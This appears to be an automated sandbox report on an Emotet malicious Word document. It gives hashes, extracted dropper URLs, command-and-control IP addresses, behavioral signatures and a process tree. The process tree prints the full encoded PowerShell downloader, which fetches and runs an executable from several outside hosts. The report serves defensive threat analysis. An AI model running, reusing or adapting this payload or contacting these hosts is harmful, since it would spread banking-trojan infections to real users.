emotet | 4e5eeda4b4dfb6044cb7795546c201137ebe9c60642960a3f99510450c8093d9

General

Target

emotet_e3_4e5eeda4b4dfb6044cb7795546c201137ebe9c60642960a3f99510450c8093d9_2020-07-28__194709._doc.doc
Size

168KB
MD5

5425f965b119f3d8121ec6ba6b588ba1
SHA1

e79da5c3c3279ff8453a1f541b03a86942931d4b
SHA256

4e5eeda4b4dfb6044cb7795546c201137ebe9c60642960a3f99510450c8093d9
SHA512

18ff5b42aff7c275b0c1f3f55c268394e37e27250fe2633039247468b4524c59f78b486251620cc98a8421decd443ff1c50a525c6d2c9515c8d187738c63ac3e

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://w3art.com/dtla/bBmTEkbPK/

exe.dropper

http://www.stempora.com/@mer/ybV/

exe.dropper

http://sundaystudio.net/cgi-bin/bzsvy9778486/

exe.dropper

http://sujest.com/BL/nQsQRv/

exe.dropper

http://studiotoybox.com/common/qezZSZB/

Extracted

Family

emotet

C2

177.37.81.212:443

74.207.230.187:8080

190.164.75.175:80

87.252.100.28:80

105.209.239.55:80

163.172.107.70:8080

37.208.106.146:8080

24.157.25.203:80

212.112.113.235:80

140.207.113.106:443

75.139.38.211:80

192.210.217.94:8080

46.49.124.53:80

75.127.14.170:8080

87.106.231.60:8080

139.59.12.63:8080

181.167.35.84:80

201.214.108.231:80

74.208.173.91:8080

189.146.1.78:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
976	WINWORD.EXE
976	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1624	3516	powersheLL.exe	68

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1624	powersheLL.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	1624	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1188	920.exe
1716	winmmbase.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
1188	920.exe
1188	920.exe
1716	winmmbase.exe
1716	winmmbase.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1624	powersheLL.exe
1624	powersheLL.exe
1624	powersheLL.exe
1716	winmmbase.exe
1716	winmmbase.exe
1716	winmmbase.exe
1716	winmmbase.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1188 wrote to memory of 1716	1188	920.exe	76
PID 1188 wrote to memory of 1716	1188	920.exe	76
PID 1188 wrote to memory of 1716	1188	920.exe	76

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1188-8-0x00000000021F0000-0x00000000021FC000-memory.dmp	emotet
behavioral2/memory/1716-11-0x00000000004C0000-0x00000000004CC000-memory.dmp	emotet

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msinfo32\winmmbase.exe	920.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_4e5eeda4b4dfb6044cb7795546c201137ebe9c60642960a3f99510450c8093d9_2020-07-28__194709._doc.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:976

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABZAFUATgBDAEwAbABoAHgAPQAnAEUASQBBAFYARQB2AHgAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAGAAVQBSAEkAVAB5AGAAUAByAE8AdABvAGAAYwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABSAE4ATgBZAEoAawB4AG8AIAA9ACAAJwA5ADIAMAAnADsAJABXAEYAVQBQAEMAZQBnAHMAPQAnAFkATgBTAEIATgBwAGwAcwAnADsAJABBAEsAWgBUAEkAdQBkAHYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFIATgBOAFkASgBrAHgAbwArACcALgBlAHgAZQAnADsAJABYAFkATgBNAEwAcwB6AG0APQAnAFcASgBSAEEATwBtAG8AcwAnADsAJABIAEMARwBPAEgAagB2AGkAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAEIAYwBMAGkAZQBuAHQAOwAkAFEATwBQAFMAWAB3AHkAZwA9ACcAaAB0AHQAcAA6AC8ALwB3ADMAYQByAHQALgBjAG8AbQAvAGQAdABsAGEALwBiAEIAbQBUAEUAawBiAFAASwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHMAdABlAG0AcABvAHIAYQAuAGMAbwBtAC8AQABtAGUAcgAvAHkAYgBWAC8AKgBoAHQAdABwADoALwAvAHMAdQBuAGQAYQB5AHMAdAB1AGQAaQBvAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AYgB6AHMAdgB5ADkANwA3ADgANAA4ADYALwAqAGgAdAB0AHAAOgAvAC8AcwB1AGoAZQBzAHQALgBjAG8AbQAvAEIATAAvAG4AUQBzAFEAUgB2AC8AKgBoAHQAdABwADoALwAvAHMAdAB1AGQAaQBvAHQAbwB5AGIAbwB4AC4AYwBvAG0ALwBjAG8AbQBtAG8AbgAvAHEAZQB6AFoAUwBaAEIALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEUARQBLAFkARgB0AGQAeQA9ACcATABIAE4ARwBTAGQAeQB4ACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAFcAQwBZAEIAbABrAG0AIABpAG4AIAAkAFEATwBQAFMAWAB3AHkAZwApAHsAdAByAHkAewAkAEgAQwBHAE8ASABqAHYAaQAuACIAZABPAGAAVwBuAEwATwBgAEEAZABgAEYAaQBMAGUAIgAoACQAWABXAEMAWQBCAGwAawBtACwAIAAkAEEASwBaAFQASQB1AGQAdgApADsAJABWAEsAVQBCAFEAcABsAGoAPQAnAEwAWQBaAEcATQB1AHoAaAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEEASwBaAFQASQB1AGQAdgApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMAMAA1ADAAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYABBAGAAVABFACIAKAAkAEEASwBaAFQASQB1AGQAdgApADsAJABaAFMAVQBJAE0AZABuAGUAPQAnAFEAUgBPAEIAUQBtAHMAaQAnADsAYgByAGUAYQBrADsAJABDAE4AVgBNAFYAawByAGEAPQAnAEYAVQBTAEgATABwAGsAeAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAEIASQBZAEQAbABnAHQAPQAnAFgAVwBJAFQAVQBtAGQAZQAnAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1624

C:\Users\Admin\920.exe
C:\Users\Admin\920.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:1188
- C:\Windows\SysWOW64\msinfo32\winmmbase.exe
  "C:\Windows\SysWOW64\msinfo32\winmmbase.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious behavior: EnumeratesProcesses
  PID:1716

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/976-0-0x000001C8EFC8C000-0x000001C8EFC95000-memory.dmp

Filesize
36KB

Download
memory/976-1-0x000001C8EFCCA000-0x000001C8EFCD2000-memory.dmp

Filesize
32KB

Download
memory/976-2-0x000001C8EFCCA000-0x000001C8EFCD2000-memory.dmp

Filesize
32KB

Download
memory/976-3-0x000001C8EFCCA000-0x000001C8EFCD2000-memory.dmp

Filesize
32KB

Download
memory/976-4-0x000001C8EFED2000-0x000001C8EFED7000-memory.dmp

Filesize
20KB

Download
memory/976-5-0x000001C8EFECF000-0x000001C8EFED2000-memory.dmp

Filesize
12KB

Download
memory/1188-8-0x00000000021F0000-0x00000000021FC000-memory.dmp

Filesize
48KB

Download
memory/1716-11-0x00000000004C0000-0x00000000004CC000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads